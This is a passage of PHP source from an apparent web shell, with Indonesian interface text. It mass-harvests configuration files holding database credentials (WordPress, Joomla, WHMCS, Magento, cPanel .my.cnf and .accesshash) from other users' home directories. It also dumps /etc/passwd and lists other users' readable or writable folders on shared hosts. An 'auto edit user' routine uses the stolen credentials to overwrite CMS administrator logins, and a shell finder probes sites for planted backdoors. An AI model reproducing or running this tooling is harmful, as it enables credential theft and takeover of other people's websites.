  1099.                     "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1100.                     "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1101.                     "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1102.                     "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1103.                     "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1104.                     "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1105.                     "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1106.                     "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1107.                     "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1108.                     "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1109.                     "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1110.                     "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1111.                     "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1112.                     "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1113.                     "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1114.                     "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1115.                     "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1116.                     "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1117.                     "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1118.                     "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1119.                     "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1120.                     "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1121.                     "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1122.                     "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1123.                     "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1124.                     "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1125.                     "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1126.                     "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1127.                     "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1128.                     "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1129.                     "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1130.                     "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1131.                     "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1132.                     "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  1133.                     "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1134.                     "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1135.                     "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1136.                     "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1137.                     "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1138.                     "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1139.                     "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1140.                     "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1141.                     "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1142.                     "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1143.                     "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1144.                     "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1145.                     "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1146.                     "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1147.                     "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1148.                     "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1149.                     "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1150.                     "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1151.                     "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1152.                     "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1153.                     "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1154.                     "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1155.                     "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1156.                     "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1157.                     "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1158.                     "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1159.                     "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1160.                     "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1161.                     "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1162.                     "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1163.                     "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1164.                     "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1165.                     "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1166.                     "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1167.                     "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1168.                     "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  1169.                     "/home3/$user_cox/.my.cnf" => "cpanel",
  1170.                     "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  1171.                     "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  1172.                     "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1173.                     "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1174.                     "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",            
  1175.                     "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  1176.                     "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  1177.                     "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1178.                     "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  1179.                     "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1180.                     "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  1181.                     "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  1182.                     "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",                  
  1183.                     "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  1184.                     "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  1185.                     "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  1186.                     "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  1187.                     "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  1188.                     "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",                                    
  1189.                     "/home3/$user_cox/public_html/configuration.php" => "Joomla",                  
  1190.                     "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  1191.                     "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  1192.                     "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  1193.                     "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  1194.                     "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  1195.                     "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  1196.                     "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  1197.                     "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  1198.                     "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  1199.                     "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  1200.                     "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  1201.                     "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  1202.                     "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  1203.                     "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  1204.                     "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  1205.                     "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  1206.                     "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  1207.                     "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  1208.                     "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  1209.                     "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  1210.                     "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  1211.                     "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  1212.                     "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  1213.                     "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  1214.                     "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  1215.                     "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  1216.                     "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  1217.                     "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  1218.                     "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  1219.                     "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  1220.                     "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  1221.                     "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  1222.                     "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  1223.                     "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  1224.                     "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  1225.                     "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",                 
  1226.                     "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  1227.                     "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  1228.                     "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  1229.                     "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",    
  1230.                     "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  1231.                     "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  1232.                     "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  1233.                     "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  1234.                     "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  1235.                     "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  1236.                     "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  1237.                     "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  1238.                     "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  1239.                     "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  1240.                     "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  1241.                     "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  1242.                     "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  1243.                     "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  1244.                     "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  1245.                     "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  1246.                     "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  1247.                     "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  1248.                     "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  1249.                     "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  1250.                     "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  1251.                     "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  1252.                     "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  1253.                     "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  1254.                     "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  1255.                     "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  1256.                     "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  1257.                     "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  1258.                     "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  1259.                     "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  1260.                     "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  1261.                     "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  1262.                     "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"                   
  1263.                         ); 
  1264.                     foreach($grab_config as $config => $nama_config) {
  1265.                         $ambil_config = file_get_contents($config);
  1266.                         if($ambil_config == '') {
  1267.                         } else {
  1268.                             $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
  1269.                             fputs($file_config,$ambil_config);
  1270.                         }
  1271.                     }
  1272.                 }      
  1273.             }
  1274.             echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
  1275.             }else{
  1276.                
  1277.         echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1278.         echo file_get_contents('/etc/passwd');
  1279.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1280.         }
  1281. } elseif($_GET['do'] == 'jumping') {
  1282.     $i = 0;
  1283.     echo "<pre><div class='margin: 5px auto;'>";
  1284.     $etc = fopen("/etc/passwd", "r");
  1285.     while($passwd = fgets($etc)) {
  1286.         if($passwd == '' || !$etc) {
  1287.             echo "<font color=red>Can't read /etc/passwd</font>";
  1288.         } else {
  1289.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1290.             foreach($user_jumping[1] as $user_idx_jump) {
  1291.                 $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1292.                 if(is_readable($user_jumping_dir)) {
  1293.                     $i++;
  1294.                     $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1295.                     if(is_writable($user_jumping_dir)) {
  1296.                         $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  1297.                     }
  1298.                     echo $jrw;
  1299.                     $domain_jump = file_get_contents("/etc/named.conf");   
  1300.                     if($domain_jump == '') {
  1301.                         echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1302.                     } else {
  1303.                         preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1304.                         foreach($domains_jump[1] as $dj) {
  1305.                             $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1306.                             $user_jumping_url = $user_jumping_url['name'];
  1307.                             if($user_jumping_url == $user_idx_jump) {
  1308.                                 echo " => ( <u>$dj</u> )<br>";
  1309.                                 break;
  1310.                             }
  1311.                         }
  1312.                     }
  1313.                 }
  1314.             }
  1315.         }
  1316.     }
  1317.     if($i == 0) {
  1318.     } else {
  1319.         echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1320.     }
  1321.     echo "</div></pre>";
  1322. } elseif($_GET['do'] == 'auto_edit_user') {
  1323.     if($_POST['hajar']) {
  1324.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1325.             echo "username atau password harus lebih dari 6 karakter";
  1326.         } else {
  1327.             $user_baru = $_POST['user_baru'];
  1328.             $pass_baru = md5($_POST['pass_baru']);
  1329.             $conf = $_POST['config_dir'];
  1330.             $scan_conf = scandir($conf);
  1331.             foreach($scan_conf as $file_conf) {
  1332.                 if(!is_file("$conf/$file_conf")) continue;
  1333.                 $config = file_get_contents("$conf/$file_conf");
  1334.                 if(preg_match("/JConfig|joomla/",$config)) {
  1335.                     $dbhost = ambilkata($config,"host = '","'");
  1336.                     $dbuser = ambilkata($config,"user = '","'");
  1337.                     $dbpass = ambilkata($config,"password = '","'");
  1338.                     $dbname = ambilkata($config,"db = '","'");
  1339.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1340.                     $prefix = $dbprefix."users";
  1341.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1342.                     $db = mysql_select_db($dbname);
  1343.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1344.                     $result = mysql_fetch_array($q);
  1345.                     $id = $result['id'];
  1346.                     $site = ambilkata($config,"sitename = '","'");
  1347.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1348.                     echo "Config => ".$file_conf."<br>";
  1349.                     echo "CMS => Joomla<br>";
  1350.                     if($site == '') {
  1351.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1352.                     } else {
  1353.                         echo "Sitename => $site<br>";
  1354.                     }
  1355.                     if(!$update OR !$conn OR !$db) {
  1356.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1357.                     } else {
  1358.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1359.                     }
  1360.                     mysql_close($conn);
  1361.                 } elseif(preg_match("/WordPress/",$config)) {
  1362.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  1363.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  1364.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1365.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  1366.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1367.                     $prefix = $dbprefix."users";
  1368.                     $option = $dbprefix."options";
  1369.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1370.                     $db = mysql_select_db($dbname);
  1371.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1372.                     $result = mysql_fetch_array($q);
  1373.                     $id = $result[ID];
  1374.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1375.                     $result2 = mysql_fetch_array($q2);
  1376.                     $target = $result2[option_value];
  1377.                     if($target == '') {
  1378.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1379.                     } else {
  1380.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1381.                     }
  1382.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1383.                     echo "Config => ".$file_conf."<br>";
  1384.                     echo "CMS => Wordpress<br>";
  1385.                     echo $url_target;
  1386.                     if(!$update OR !$conn OR !$db) {
  1387.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1388.                     } else {
  1389.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1390.                     }
  1391.                     mysql_close($conn);
  1392.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1393.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1394.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1395.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1396.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1397.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1398.                     $prefix = $dbprefix."admin_user";
  1399.                     $option = $dbprefix."core_config_data";
  1400.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1401.                     $db = mysql_select_db($dbname);
  1402.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1403.                     $result = mysql_fetch_array($q);
  1404.                     $id = $result[user_id];
  1405.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1406.                     $result2 = mysql_fetch_array($q2);
  1407.                     $target = $result2[value];
  1408.                     if($target == '') {
  1409.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1410.                     } else {
  1411.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1412.                     }
  1413.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1414.                     echo "Config => ".$file_conf."<br>";
  1415.                     echo "CMS => Magento<br>";
  1416.                     echo $url_target;
  1417.                     if(!$update OR !$conn OR !$db) {
  1418.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1419.                     } else {
  1420.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1421.                     }
  1422.                     mysql_close($conn);
  1423.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1424.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1425.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1426.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1427.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1428.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1429.                     $prefix = $dbprefix."user";
  1430.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1431.                     $db = mysql_select_db($dbname);
  1432.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1433.                     $result = mysql_fetch_array($q);
  1434.                     $id = $result[user_id];
  1435.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1436.                     if($target == '') {
  1437.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1438.                     } else {
  1439.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1440.                     }
  1441.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1442.                     echo "Config => ".$file_conf."<br>";
  1443.                     echo "CMS => OpenCart<br>";
  1444.                     echo $url_target;
  1445.                     if(!$update OR !$conn OR !$db) {
  1446.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1447.                     } else {
  1448.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1449.                     }
  1450.                     mysql_close($conn);
  1451.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1452.                     $dbhost = ambilkata($config,'server = "','"');
  1453.                     $dbuser = ambilkata($config,'username = "','"');
  1454.                     $dbpass = ambilkata($config,'password = "','"');
  1455.                     $dbname = ambilkata($config,'database = "','"');
  1456.                     $prefix = "users";
  1457.                     $option = "identitas";
  1458.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1459.                     $db = mysql_select_db($dbname);
  1460.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1461.                     $result = mysql_fetch_array($q);
  1462.                     $target = $result[alamat_website];
  1463.                     if($target == '') {
  1464.                         $target2 = $result[url];
  1465.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1466.                         if($target2 == '') {
  1467.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1468.                         } else {
  1469.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1470.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1471.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1472.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1473.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1474.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1475.                             } else {
  1476.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1477.                             }
  1478.                         }
  1479.                     } else {
  1480.                         $cek_login = file_get_contents("$target/adminweb/");
  1481.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1482.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1483.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1484.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1485.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1486.                         } else {
  1487.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1488.                         }
  1489.                     }
  1490.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1491.                     echo "Config => ".$file_conf."<br>";
  1492.                     echo "CMS => Lokomedia<br>";
  1493.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1494.                         echo $url_target2;
  1495.                     } else {
  1496.                         echo $url_target;
  1497.                     }
  1498.                     if(!$update OR !$conn OR !$db) {
  1499.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1500.                     } else {
  1501.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1502.                     }
  1503.                     mysql_close($conn);
  1504.                 }
  1505.             }
  1506.         }
  1507.     } else {
  1508.         echo "<center>
  1509.         <h1>Auto Edit User Config</h1>
  1510.         <form method='post'>
  1511.         DIR Config: <br>
  1512.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1513.         Set User & Pass: <br>
  1514.         <input type='text' name='user_baru' value='0x1999' placeholder='user_baru'><br>
  1515.         <input type='text' name='pass_baru' value='0x1999' placeholder='pass_baru'><br>
  1516.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1517.         </form>
  1518.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1519.         ";
  1520.     }
  1521. }elseif($_GET['do'] == 'shelscan') {
  1522.     echo'<center><h2>Shell Finder</h2>
  1523. <form action="" method="post">
  1524. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  1525. <br>
  1526. <input name="scan" value="Start Scaning"  style="width: 215px;" type="submit">
  1527. </form><br>';
  1528. if (isset($_POST["scan"])) {  
  1529. $url = $_POST['traget'];
  1530. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  1531. echo "Result :<br />";
  1532. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  1533. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  1534. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  1535. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  1536. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  1537. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  1538. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  1539. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  1540. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  1541. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  1542. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  1543. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  1544. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  1545. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  1546. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  1547. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
